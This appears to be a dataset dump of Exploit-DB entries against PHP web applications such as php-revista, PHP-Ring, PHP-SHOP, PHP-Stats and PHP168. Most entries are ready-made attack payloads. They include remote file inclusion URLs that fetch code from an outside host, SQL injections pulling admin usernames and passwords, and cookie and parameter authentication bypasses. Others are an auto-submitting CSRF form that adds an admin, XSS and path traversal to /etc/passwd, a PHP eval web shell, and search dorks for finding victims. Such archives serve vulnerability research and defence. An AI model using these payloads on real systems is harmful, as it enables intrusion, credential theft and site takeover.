deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2890
Description: PHP-revista 1.1.2 - 'adodb' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-12-03
Author: Cold Zero

Exploit:
--------------------------------------||    Viva Palestine  ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien  ||-----------------------------------------


php-revista <= 1.1.2 (index.php) Remote File Include Vulnerability


Found By  :  CoLd Zero  [ Wasem898 ]

Source    :  include_once ($4AZHAR_TeAM."Securty.");

            require ($SpECiALPowEr.oRg_TeAm."Securty");

            A_mal Hackeing Team _ Hacking



PalesTine Arab Muslim Hacker

http://www.smileygenerator.us/smileysig2/links/[PII_REDACTED]54432992.final.gif

######################################################
#
#            php-revista 1.1.2
#
# Class:     Remote File Include Vulnerability
# Published  2006-12-3
# Remote:    Yes
# Type:      high
# Site:
http://downloads.sourceforge.net/php-revista/revista-1.1.2.tgz?modtime=[PII_REDACTED]&big_mirror=0
#
# Author:    Cold Zero
# Contact:   c.o.1.d.0@hotmail.com
#
######################################################
<?

include ("$adodb");
$obten_rev="select max(id_revista) as id from revista where terminada=1";
$obten = $DB->execute("$obten_rev");
$id_revista = $obten->fields["id"];

======================================================

Exploit :

Http://www.Victem.0/[php-revista_PaTH]/estilo/Digital_Multiplex/index.php?adodb=http://4azhar.com/soft.txt?
Http://www.Victem.0/[php-revista_PaTH]/estilo/discreet/index.php?adodb=http://4azhar.com/soft.txt?
Http://www.Victem.0/[php-revista_PaTH]/estilo/galveston/index.php?adodb=http://4azhar.com/soft.txt?
Http://www.Victem.0/[php-revista_PaTH]/estilo/mergedidea/index.php?adodb=http://4azhar.com/soft.txt?
Http://www.Victem.0/[php-revista_PaTH]/estilo/Shadow_Boxer/index.php?adodb=http://4azhar.com/soft.txt?
Http://www.Victem.0/[php-revista_PaTH]/estilo/Widget_Factory/index.php?adodb=http://4azhar.com/soft.txt?

======================================================




----  GreeTz: [MoHaNdKo]  [Cold One]  [Cold ThreE] [Viper Hacker] [The Wolf KSA] [o0xxdark0o[ [OrGanza] [H@mLiT] [Snake12][Root Shell]
             [Metoovit] [Fucker_net] [Rageb][CoDeR] [HuGe][Str0ke] [Dr.TaiGaR[ [JEeN HacKer] [Nazy L!unx[  Everyone I know


****************************************************************
# *www.4azhar.com Securty Team    >>      www.4azhar.com        *
# *SpeciaL PoweR SecuritY Team    >>      www.specialpower.org  *
# *A_mal Hacking Team             >>      -vv -l -p The-Pradise *
*****************************************************************


http://www.smileygenerator.us/smileysig2/links/[PII_REDACTED]54432992.final.gif


--------------------------------------||    Viva Palestine  ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien  ||-----------------------------------------


# milw0rm.com [2006-12-03]
Exploit-DB #3538
Description: PHP-revista 1.1.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-03-21
Author: Cold Zero

Exploit:
php-revista <= 1.1.2  Remote SQL Injection Exploit

Found by & contact : Cold z3ro , cold-z3ro@hotmail.com

script :
http://downloads.sourceforge.net/php-revista/revista-1.1.2.tgz?modtime=[PII_REDACTED]&big_mirror=0


Exploits :
==============================================================================
Http://www.Victem.0/revista/estilo/[STYLE]/autor.php?id_autor=-12 union select null,email,login,pwd,null,null,null,null,null,null,null,null,null from autores where id =1 /*
==============================================================================
Http://www.Victem.0/revista/estilo/[STYLE]/articulo.php?id_articulo=-12 union select null,email,login,pwd,null,null,null,null,null,null,null,null,null from
autores where id =1 /*
==============================================================================
Http://www.Victem.0/revista/estilo/[STYLE]/busqueda.php?cadena='+union select null,email,login,pwd,null,null,null,null,null,null,null,null,null from autores where id =1 /*
==============================================================================
Http://www.Victem.0/revista/estilo/[STYLE]/lista.php?email='+union select null,email,login,pwd,null,null,null,null,null,null,null,null,null from autores where id =1 /*
==============================================================================

Styles names :
/discreet/
/galveston/
/mergedidea/
/Widget_Factory/
/Digital_Multiplex/
==========================================================================================================================================
----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
             |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
             |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
             |The Sniper| | DearMan | |Pro Hackers| | 020 | | abdulla00 " alz3eem" | | The_Viper |Kof2002|
             All i know
==========================================================================================================================================


Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

Print :  Team Hell

# milw0rm.com [2007-03-21]
Exploit-DB #8425
Description: PHP-revista 1.1.2 - Remote File Inclusion / SQL Injection / Authentication Bypass / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-14
Author: SirDarckCat

Exploit:
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena='+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email='+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------

# milw0rm.com [2009-04-14]
Exploit-DB #3774
Description: PHP-Ring Webring System 0.9 - SQL Injection
Type: webapps
Platform: php
Date: 2007-04-22
Author: Dj7xpl

Exploit:
                                                     Y! Underground Group
						        http://2600.ir

								
								
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

Portal.......:   uPHP_ring_website
Download.....:   http://www.undoweb.frih.net , http://undoweb.frih.net/downloads/uPHP_ring_website.zip
Type.........:   Sql Injection Attack
Author.......:   Dj7xpl / dj7xpl@2600.ir
HomePage.....:   http://Dj7xpl.2600.ir

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

Bug..........:

index.php?ring=Sql.Inject

index.php?ring=-1/**/UNION/**/SELECT/**/0,admin_uname,admin_pass/**/FROM/**/ring_admins/*
or
index.php?ring=-1/**/UNION/**/SELECT/**/0,USER_NAME,USER_PASS,1,2,3/**/FROM/**/ring_users/*

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-22]
Exploit-DB #6225
Description: PHP-Ring Webring System 0.9.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-08-10
Author: Virangar Security

Exploit:
  ###############################################################################################
  #                                                                                             #
  #    ...:::::PHP-Ring Webring System v0.9.1 Insecure Cookie Handling Vulnerability ::::....   #           
  ###############################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
DESCRIPTION:
PHP-Ring Webring System , suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
vuln code in /admin/wr_admin.php

$cookie = $_COOKIE[admin]; //check for cookie

if (($cookie == "" OR $_GET[stop] == 1 OR !is_admin($cookie)) && $_GET[op] != "login" && $_GET[op] != "logout") {
    include("../templates/wr_header.php");
    echo "Enter admin username and password to log in";
    ....
    ....
    ..
    } else {
function adminhome() // load admin settings

---
exploit:
javascript:document.cookie = "admin=1; path=/";
-----
now visit /admin and  you can get admin access and manage the cms ;)
-------
young iranian h4ck3rz

# milw0rm.com [2008-08-10]
Exploit-DB #42595
Description: PHP-SecureArea < 2.7 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2017-08-30
Author: Cryo

Exploit:
# Exploit Title: PHP-SecureArea <= v2.7 - SQL Injection
# Date: 30-08-2017
# Exploit Author: Cryo
# Contact: https://twitter.com/KernelEquinox
# Vendor Homepage: https://www.withinweb.com
# Software Link: https://www.withinweb.com/phpsecurearea/
# Version: 2.7 and below
# Tested on: Windows, Linux, Mac OS X

1. Description
==============

PHP-SecureArea is vulnerable to SQL injection due to lack of input sanitization in the misc.php file.


2. Proof of Concept
===================

POST /phpsecurearea/ipn/process.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

item_number=-1' UNION ALL SELECT 1-- -
Exploit-DB #45636
Description: PHP-SHOP master 1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2018-10-18
Author: Alireza Norkazemi

Exploit:
# Exploit Title: PHP-SHOP master 1.0 - Cross-Site Request Forgery (Add admin)
# Exploit Author : Alireza Norkazemi
# Date: 2018-10-15
# Vendor Homepage : https://github.com/joeyrush/PHP-SHOP
# Software link: https://github.com/joeyrush/PHP-SHOP/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
# CVE: N/A

# Proof of concept:
# Exploit:

<html>
<head>
<meta charset="UTF-8">
<title>POC</title>
</head>
<body>
<form action="http://127.0.0.1/clone/SHOP-PHP/admin/users.php?add=1"
method="post">
<input type="hidden" name="name" value="TEST">
<input type="hidden" name="email" value="TEST2">
<input type="hidden" name="password" value="T3ST123">
<input type="hidden" name="confirm" value="set">
<select name="permissions"><option value="admin,editor"></option></select>
<input type="submit" value="Add User">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Exploit-DB #31659
Description: PHP-Stats 0.1.9.1 - 'admin.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-04-17
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28824/info

Php-Stats is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.

Php-Stats 0.1.9.1 is vulnerable; other versions may also be affected. 

http://www.example.com/stats/admin.php?action=systems&mode=0&sel_anno=2008&sel_mese=[XSS]
http://www.example.com/stats/admin.php?action=systems&mode=0&sel_anno=[XSS]
Exploit-DB #30583
Description: PHP-Stats 0.1.9.2 - 'Tracking.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-09-14
Author: root@hanicker.it

Exploit:
source: https://www.securityfocus.com/bid/25674/info

Php-Stats is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Php-Stats 0.1.9.2; other versions may also be affected.

http://www.example.com/php-stats-path/tracking.php?what=online&ip=[XSS]
Exploit-DB #30487
Description: PHP-Stats 0.1.9.2 - 'WhoIs.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-08-11
Author: vasodipandora

Exploit:
source: https://www.securityfocus.com/bid/25275/info

Php-Stats is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Php-Stats 0.1.9.2 is vulnerable; other versions may also be affected.

http://www.example.com/php-stats-path/whois.php?IP=[XSS]
Exploit-DB #9036
Description: PHP-Sugar 0.80 - 'index.php?t' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-06-29
Author: ahmadbady

Exploit:
                =-=-local file include-=-=

-=-=-=-=-=-=-=-=-=-=-=-
script: PHP-Sugar 0.80
-----------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://php-sugar.net/files/?mod=files

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 
if (isset($_GET['t']))
	$file = $_GET['t'];
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
xpl:
/path/test/index.php?t=..//..//..//..//..//boot.ini%00
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-

# milw0rm.com [2009-06-29]
Exploit-DB #32295
Description: PHP-Ultimate WebBoard 2.0 - 'admindel.php' Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-25
Author: t0pP8uZz

Exploit:
source: https://www.securityfocus.com/bid/30822/info

PHP-Ultimate Webboard is prone multiple-input validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Successful exploits will allow unauthorized attackers to delete arbitrary questions and answers. Attackers may also exploit these issues to perform SQL-injection attacks.

PHP-Ultimate Webboard 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/webboard/admindel.php?action=delete&mode=question&qno=[NUM]&ano=[NUM]
Exploit-DB #21622
Description: PHP-Wiki 1.2/1.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-07-17
Author: Pistone

Exploit:
source: https://www.securityfocus.com/bid/5254/info

PHP-Wiki does not sufficiently sanitize HTML from URI parameters, making it prone to cross-site scripting attacks. An attacker may exploit this condition by enticing users to visit a malicious link which contains attacker-supplied script code.

PHP-Wiki may be used as a module for other software such as PostNuke. 

http://target/path/modules.php?op=modload&name=Wiki&file=index&pagename=<script>alert(document.cookie)</script>
Exploit-DB #18298
Description: PHP-X-Links Script - SQL Injection
Type: webapps
Platform: php
Date: 2012-01-02
Author: H4ckCity Security Team

Exploit:
############################################################################
# Exploit Title: Php-X-Links Script SQL Injection Vulnerabilitiy
# Google Dork: "Powered by Php-X-Links"
# Date: 1/1/2012
# Author: H4ckCity Security Team
# Discovered By: farbodmahini
# Home: WwW.H4ckCity.Org  
# Version: All Version
# Category:: webapps
# Security Risk:: High
# Tested on: GNU/Linux Ubuntu - Windows Server - win7
############################################################################
#  Exploit:
#
#
#  http://www.target.com/links/rate.php?id=[SQLi]
#  http://www.target.com/links/view.php?cid=[SQLi]
#  http://www.target.com/links/pop.php?t=[SQLi]
#
############################################################################
# Special Thanks : Mehdi.H4ckcity-2MzRp-Mikili-M.Prince-Bl4ck.Viper-iC0d3R- 
# IrIsT-K0242-P0W3RFU7-Mr.M4st3r-Higher_Sense ,...
############################################################################
GreetZ : All H4ckCity Member - BHG Members
############################################################################
Exploit-DB #2969
Description: PHP/Mysql Site Builder 0.0.2 - 'htm2PHP.php' File Disclosure
Type: webapps
Platform: php
Date: 2006-12-21
Author: the master

Exploit:
########################################################################
#  PHPBuilder v0.0.2  Remote File Disclosure Vulnerability
#
#  Download: http://sourceforge.net/project/downloading.php?groupname=phpbuilder&filename=phpbuilder-0.0.2.tgz&use_mirror=switch
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/lib/htm2php.php?filename=../../../../../etc/passwd
#  http://[Target]/[Path]/sitetools/htm2php.php?filename=../../../../../etc/passwd
#
#  Greetz: str0ke , Dr Max Virus , Kacper
########################################################################

# milw0rm.com [2006-12-21]
Exploit-DB #3694
Description: PHP121 Instant Messenger 2.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2007-04-09
Author: Dj7xpl

Exploit:
                         +========================I=R=A=N============================+

                                             PHP121 Version 2.2 

                         =========================I=R=A=N=============================

                         +========================I=R=A=N============================+

                         Author :

                         Dj7xpl / Dj7xpl[at]Yahoo[dot]com

                         =========================I=R=A=N=============================

                         +========================I=R=A=N============================+

                         Type :

                         Local File Inclusion Vulnerability 

                         =========================I=R=A=N=============================

                         +========================I=R=A=N============================+

                         Download :

                         http://www.php121.com/download.php

                         =========================I=R=A=N=============================

                         +========================I=R=A=N============================+

                         Bug :

                         http://[Target]/[Path]/php121db.php?php121dir=[ Local File ]%00

                         =========================I=R=A=N=============================

# milw0rm.com [2007-04-09]
Exploit-DB #4241
Description: PHP123 Top Sites - 'category.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-28
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		    PHP123 Top Sites SQL Injection Vulnerbility 	             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: allintext:"Browse our directory of our members top sites or create your own for free!"


DESCRIPTION: 
pull out admin/users login credentials


EXPLOITS:
http://server.com/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5/**/FROM/**/admin/*
http://server.com/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5/**/FROM/**/users/*


NOTE/TIP: 
admin login is at /siteadmin/
altavista also returns a few diffrent results, dnt use the allintext: thou.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.org !


--==+================================================================================+==--
--==+		    PHP123 Top Sites SQL Injection Vulnerbility 	             +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-28]
Exploit-DB #9933
Description: PHP168 6.0 - Command Execution
Type: webapps
Platform: php
Date: 2009-10-28
Author: Securitylab Security Research

Exploit:
########################## Securitylab.ir ########################
# Application Info:
# Name: PHP168
# Version: 6.0
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# http://site.com/login.php?makehtml=1&chdb[htmlname]=seek.php&chdb[path]=cache&content=<?php%20@eval($_POST[s]);?>
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################
Exploit-DB #34401
Description: PHP168 Template Editor - 'Filename' Directory Traversal
Type: webapps
Platform: php
Date: 2009-10-04
Author: esnra

Exploit:
source: https://www.securityfocus.com/bid/42174/info

PHP168 Template Editor is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to read and overwrite arbitrary files in the context of the webserver. This may aid in further attacks 

http://www.example.com/background catalog/index.php?Lfj =style& job=ditcode&keywords=default& filename =../../ php168/mysql_config.php